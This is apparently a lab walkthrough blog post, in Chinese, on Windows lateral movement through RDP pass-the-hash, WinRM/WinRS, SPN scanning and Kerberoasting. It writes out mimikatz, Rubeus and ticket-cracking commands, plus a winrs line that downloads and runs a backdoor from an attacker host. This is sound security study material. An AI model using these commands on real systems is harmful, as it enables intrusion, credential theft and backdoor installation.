内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击

news2024/9/23 5:22:53

前言

今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百成功的,而且有很多步骤或者操作方式都是在前面的文章重复说了很多次了,所以接下来的文章涉及到重复的操作可能就一句话带过了。因为,重复的东西解释起来太麻烦了。

实验环境

这个我也不想多说了,和之前的一样。老样子,实验开始之前先让web服务器上线CS,顺便提权至system,别再问咋上线了。

RDP

明文连接

RDP就是windows的远程桌面连接,也是支持明文和NTLM连接的。一般RDP连接的话可以分为两种情况,一是直接在被控主机上去连接远程桌面,这个就比较容易被发现,二是建立节点,挂上代理然后在本地远程桌面连接。毋庸置疑,第二种肯定是要比第一种好的。先利用CS的插件查看一下RDP服务的端口,因为在实际情况中运维基本不会把RDP服务设置为默认的3389端口(我懒得改了)。

RDP服务为3389端口,那么我们先扫一下3389端口,进行一个内网探测。

抓取一下密码,记得要提权。

在CS上对web服务器开启socks代理,然后在本地配置好,直接远程桌面连接30主机试试。

连接上了,但是非常的卡。还有一点就是,你需要知道当前你连接的账户是否有人使用。如果这个账户正在使用的话,而你又远程连接上去,他那边就会有提示把人踢下线,那你不就被发现了么。

Hash连接

前面我们说过RDP也支持hash连接,但是受限条件太多了。需要开启Restricted Admin Mode,在Windows8.1和Windows server 2012 r2上是默认开启的。同时想要使用hash值连接远程桌面,不单单是本地要支持Restricted Admin Mode,对端也要支持Restricted Admin Mode。

如果说当前系统支持Restricted Admin mode,输入下面的命令就会弹出远程连接的窗口,反之没有则不支持。

mstsc.exe /restrictedadmin

本地运行minikatz,这里我就远程连接到30主机吧,它是Windows server 2012 r2系统的。输入下面的命令,hash前面我们抓取到的。执行之后就会弹出远程桌面窗口,不需要再输入密码。可以看到是连接得上的,不过要等有点久我就懒得等了。

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c "/run:mstsc.exe /restrictedadmin"

WinRM&WinRS

手动横移

WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持xerberos和NTLM身份验证以及基本身份验证。WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。

移动条件:

双方都启用WinRM和WinRS的服务。

使用此服务需要管理员级别凭据。

Windows 2008 以上版本WinRS默认自动状态,windows vista/win7上必须手动启动。

Window2012之后的版本默认允许远程任意主机来管理。

这个攻击主要是针对Windows2008以上的系统版本,因为2008以下的话则需要手动开启,我连你的权限都没获取咋手动开启嘛。其实WinRM和WinRS是一个东西,只是我们借助的是WimRM服务,而使用的是WinRS的命令去连接。

查看一下winrm侦听器配置。

#查看侦听器配置
winrm e winrm/config/listener 或 winrm enumerate winrm/config/listener

#查看具体配置
winrm get winrm/config
Address:表示监听器所监听的地址。
Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如  HTTP 或 HTTPS,其默认值为 HTTP。
Port:表示监听器所监听 TCP 端口。
Hostname:正在运行 WinRM  服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6  文本字符串或通配符。
Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。
URLPrefix:用于指定要在其上接受  HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 `https://SampleMachine/<在目标地址中指定的 URLPrefix>`。默认 URL 前缀为 "wsman"。CertificateThumbprint:用于指定服务证书的指纹。
ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。

接着启动WinRM服务,有需要的可以修改一下配置,不修改的话就直接默认5985 端口。

winrm quickconfig

再在被控主机也就是我们的web服务器开启WinRM服务,这个我的web服务器是Windows2008,为了以防万一我还是手动开启一下,记得要高权限。在CS上输入命令的话,显示拒绝访问,不知道为啥,我明明已经是system权限了,难道是假的高权限么,所以我直接到web服务器上面输入命令了。

winrm quickconfig    
winrm set winrm/config/Client @{TrustedHosts="*"} //允许任何主机连接

扫描一下端口,我这里是使用默认端口的,所以直接扫5985端口。

这里我在CS上面执行命令,说什么句柄无效???不知道是什么鬼,也查不到关于这方面的资料。

winrs -r:192.168.22.30 -u:administrator -p:#Root123 "whoami"

我又直接到web服务器上面去执行命令,给我弹个拒绝访问。这又是什么鬼,我看小迪视频上面说拒绝访问是因为密码错了,但是我这里密码也没错啊。

而且我在30主机执行了下面的命令,允许接受来自任何主机的WinRm连接,还是不行。搞了一个晚上这个实验,他妈都给我搞红温了。

Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"

这里我直接换了一套环境,两台主机都在统一局域网中,其中2016是被控主机,2012是我们要横移到的主机。

winserver 2016 192.168.145.131
winserver 2012 192.168.145.251

被控主机执行开启WinRM服务命令,以防万一。

输入命令进行横向移动,成功了。

winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa whoami

获得交互式会话。

怎么上线CS不需要多说了吧,把命令换成下载后门的命令即可,就不演示了。

winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa "certutil.exe -urlcache -split -f http://192.168.145.131:80/2222.exe 2222.exe & 2222.exe"

CS内置横移

CS里面是自带WinRM横移的,不过这里我并没有实验成功。

对31主机开启转发上线。

然后在目标列表对30主机进行WinRM横移,监听器选择我们刚刚转发上线创建的,会话选择31主机提权后的。

执行之后我这里返回一大堆错误信息啥的,估计是我环境出错了啥的,也不想管啦。现实中其实也是差不多的,各种各样的错误,哎。

Kerberos攻击&SPN扫描

SPN扫描这玩意深究的话蛮复杂的,这里我参考了别人写的文章。

Spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN​类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。简单来说,Spn它不是一种横移手法而是一种扫描技术,可以利用Spn扫描去发现内网中的一些协议,常常配合Kerberos攻击一起使用。

参考链接:https://www.cnblogs.com/backlion/p/8082623.html

输入命令探测域内信息,它会回显域内哪些主机有哪些服务。

setspn -T 0day.org -q */*   #扫描全部服务
setspn -T 0day.org -q */* | findstr "MSSQL"  #扫描指定服务

Kerberos攻击

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。简单来说,我们请求服务的时候会留下票据,而这个票据包含了密码,如果说这个票据是用RC4来加密的话我们是可以破解它的,如果是AES256则不可以。
在本地安全策略里面我们为了实验可以把加密方式设置为RC4。

看一下本地的票据,发现是有RC4加密的。

klist

我们也可以利用这个工具去检测,哪些服务是RC4加密且能利用的。只是,我这里不知道为啥检测说没有,但是我明明是有服务是RC4加密的,太奇怪了。

下载地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

shell Rubeus kerberoast

如果检测出来有服务利用的话是这样的。

或者我们手动检测,用minikatz去请求这个服务,看它产生的票据是RC4还是AES。

mimikatz kerberos::ask /target:MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433

查看票据,发现是RC4加密滴。

klist

接着导出票据,但是导出来没见有MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433服务的票据,不知道为啥。

mimikatz kerberos::list /export

使用工具破解票据,pass.txt是字典,这里我还是没有成功。不知道为啥,字典里面也含有正确的密码,加密也是RC4。哎,不管了,可能与上面Rubeus工具没扫出来可用的服务有关。反正流程就这样。

下载地址:GitCode - 全球开发者的开源社区,开源代码托管平台

 python tgsrepcrack.py Pass.txt "0-40e10000-wlwznb@krbtgt~GOD.LOCAL-GOD.LOCAL.kirbi"

如果破解成功是这样子的。

总结

总的来说RDP基本在现实中不咋用,因为你要去判断连接的账户当前在线不,被发现的风险较大。WinRM的话可能用的比较多,条件是必须为2008以上的系统才行,不过都2024年了,那些2008以下的老古董估计也没谁用了。kerberos攻击简单来说,就是找到RC4加密方式的服务,然后去请求它让本地生成票据,最后使用工具破解得到密码。

PS:这个次是实验弄了整整三天,wcnm,各种环境问题。看了一大堆文章也解决不了,实在是不想管啦。

以上便是本次横移的知识了。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2038867.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python3网络爬虫开发实战(8)验证码的识别

文章目录 一、 图片增强&#xff1a;OpenCV1. OpenCV 基础使用2. 滑动验证码缺口识别 二、图片验证码和滑块验证码1. tesserocr2. ddddocr3. 深度学习识别4. 超级鹰打码平台 三、手机验证码的自动化处理 目前&#xff0c;许多网站采取各种各样的措施来反爬虫&#xff0c;其中一…

嵌入式面经篇四——内存管理

文章目录 前言一、内存管理&编程题1、由gcc编译的C语言程序占用的内存分为哪几个部分&#xff1f;2、大小端3、全局变量和局部变量的区别&#xff1f;4、以下程序中&#xff0c;主函数能否成功申请到内存空间&#xff1f;5、请问运行下面的 Test() 函数会有什么样的后果&am…

Anaconda安装jupyter notebook、jupyterlab及体验

Anaconda安装jupyter 1.前言2.创建虚拟环境3.激活虚拟环境4.安装jupyter notebook5.启动6.快捷方式7.jupyterlab插件安装8.报错的处理9.总结1.前言 手贱,不小心将Anaconda自带得jupyter给卸载了,没法子了查了好多资料都比较麻烦,所以自己摸索着重新安装,记录一下心得。 说…

87.SAP Transaction SM31 and SM30

目录 1.SM30是什么 2.SM30维护表的前提条件&#xff1a; 3.用途 维护表数据 查看SAP表的配置点 4.SM31和SM30的区别 1.SM30是什么 Transaction code SM30 can be used to display and update table data. The input field on the first screen of SM30 is long enough t…

企业通用报表平台代码审计

1 第三方组件漏洞审计 本项目是基于Maven构建的。对于Maven项目,我们首先从 pom.xml 文件开始审计引入的第三方组件是 否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。 本项目引入的组件以及组件版本整理如下。 组件名称组件版本SpringBoot2.2.4.RELEASEFastjson1.2…

CDP问卷填报手册指南

CDP认证的作用是向消费者和利益相关者提供一个可信的证明&#xff0c;证明该组织正在采取行动&#xff0c;以减少其对气候变化的影响并提高可持续发展。CDP认证是一个独立的评估过程&#xff0c;通过评估组织在应对气候变化和可持续发展方面的表现和策略&#xff0c;评估其对气…

免费下载专利

给大家提供一个可以免费下载专利的地方 链接&#xff1a;https://www.drugfuture.com/cnpat/cn_patent.asp

玩转生产环境全链路压测

一、什么是生产环境全链路压测 生产环境全链路压力测试&#xff08;Production Environment Full-Link Stress Testing&#xff09;是一种针对线上系统进行的综合性性能测试方法。这个过程涉及模拟实际用户行为&#xff0c;从用户界面到后端数据库的整个应用链路上施加预定的高…

考拉悠然完成自研国内首台玻璃基Micro LED晶圆量检测设备出货

近日&#xff0c;考拉悠然自主研发的国内首台玻璃基Micro LED晶圆量检测设备正式完成出货&#xff0c;这不仅标志着考拉悠然在Micro LED核心检测技术上的重大突破&#xff0c;也展现了公司在高端制造领域的技术创新能力。 Micro LED显示技术被认为是未来的“终极显示技术”&am…

stm32—GPIO

0. 引入 在单片机产品中,我们常常可以见到三种模块:LCD灯、KEY按键、BEEP蜂鸣器 LED灯: 一个比较常见的LED电路LED0 ---------- 通过控制LED0引脚(电线) 给它一个低电平(低电压),LED灯就会亮 给它一个高电平(高电压),LED灯就会灭 …

Spring——AOP前言(写一个小demo为了好学习AOP)

1.AOP的概念 1.1 AOP简单样例 我们来先通过一个例子来对AOP进行理解&#xff0c;这个例子就是有关Spring的事务的一个样例&#xff0c;有关Spring是怎么实现事务的&#xff0c;这个事务其实本质上就是对于我们代码的一个增强。废话不多说&#xff0c;上程序&#xff0c;请各位…

【Datawhale AI夏令营第四期】魔搭-AIGC方向 Task02笔记 Scepter工具箱, 精读BaseLine代码

【Datawhale AI夏令营第四期】魔搭-AIGC方向 Task02笔记 Task02学习任务&#xff1a; https://linklearner.com/activity/14/10/32 传送门 我们继续看网课&#xff0c;并且在Kimi.AI的帮助下读一下BaseLine示例代码。 网课链接&#xff1a;https://space.bilibili.com/1069874…

如何创建一个SpringBoot项目呢?SpringBoot有什么优点呢?

目录 一、SpringBoot的优点 二、SpringBoot项目的创建 &#xff08;一&#xff09;通过Idea创建 &#xff08;二&#xff09;通过网页来创建Spring Boot项目 三、SpringBoot的目录 拓展知识 Spring的诞生是为了简化Java代码的开发&#xff0c;而Spring Boot的诞生是为了简…

剪映怎么剪辑视频?2024年剪辑软件精选!

在短视频风靡的时代&#xff0c;越来越多的人开始尝试自己制作短视频。而剪辑视频是短视频制作过程中至关重要的一环。很多小伙伴问剪映怎么剪辑视频&#xff1f;其实除了剪映&#xff0c;市面上还有不少剪辑软件操作简便&#xff0c;值得推荐&#xff01; 福昕视频剪辑 链接…

Dubbo源码深度解析(四)

接上篇博客《Dubbo源码深度解析(三)》&#xff0c;上篇博文&#xff0c;主要讲的是DubboBootstrap#start()方法中调用到的其他方法&#xff0c;以及讲到ServiceConfig#export()方法的调用链路。其中讲到最核心的方法为ServiceConfig#doExportUrlsFor1Protocol()&#xff0c;还没…

LVS详细解析及其NAT模式与DR模式部署(理论+实验全方位指导)

目录 1. 集群 2. 分布式系统 3. 集群与分布式的比较 4.通俗的解释 集群 分布式系统 总结 LVS&#xff08;Linux Virtual Server&#xff09;简介 LVS专业术语 工作原理 LVS调度算法 静态调度算法 动态调度算法 ipvsadm脑图 NAT模式集群 LVS的配置 在LVS主机内打开…

数据结构之顺序表的实现

主要参考&#xff1a; 【王道考研】王道数据结构与算法详细笔记&#xff08;全&#xff09;_王道数据结构笔记-CSDN博客 顺序表的概念 顺序表&#xff1a;用顺序存储的方式实现线性表顺序存储。把逻辑上相邻的元素存储在物理位置上也相邻的存储单元中&#xff0c;元素之间的关系…

1Panel配置

1. 脚本安装 curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sh quick_start.sh2. 配置镜像加速 在容器-> 配置中设置&#xff0c;否则安装软件会失败。 https://docker.211678.top https://docker.1panel.live …

面对复杂订单统计,如何用这款工具化整为零?

最近制作报表时遇到了个问题&#xff0c;怎么把整合到一起的订单统计数据拆分成一个个单独的订单统计报表呢&#xff1f;经过一段时间的探索后&#xff0c;我找到了一款完全免费的报表软件&#xff0c;能够解决这个问题&#xff0c;这款软件叫作山海鲸可视化&#xff0c;我会在…

python 已知x+y=8 求x*y*(x-y)的最大值

先用导数求解 已知xy8 求xy(x-y)的最大值 令y8-x 则 f(x)x⋅(8−x)⋅(x−(8−x))x⋅(8−x)⋅(2x−8) 导数方程为 f(x)-3x^2 24x - 32 求方程 − 3 x 2 24 x − 32 0 -3x^2 24x - 32 0 −3x224x−320 的根。 首先&#xff0c;我们可以尝试对方程进行因式分解。观察…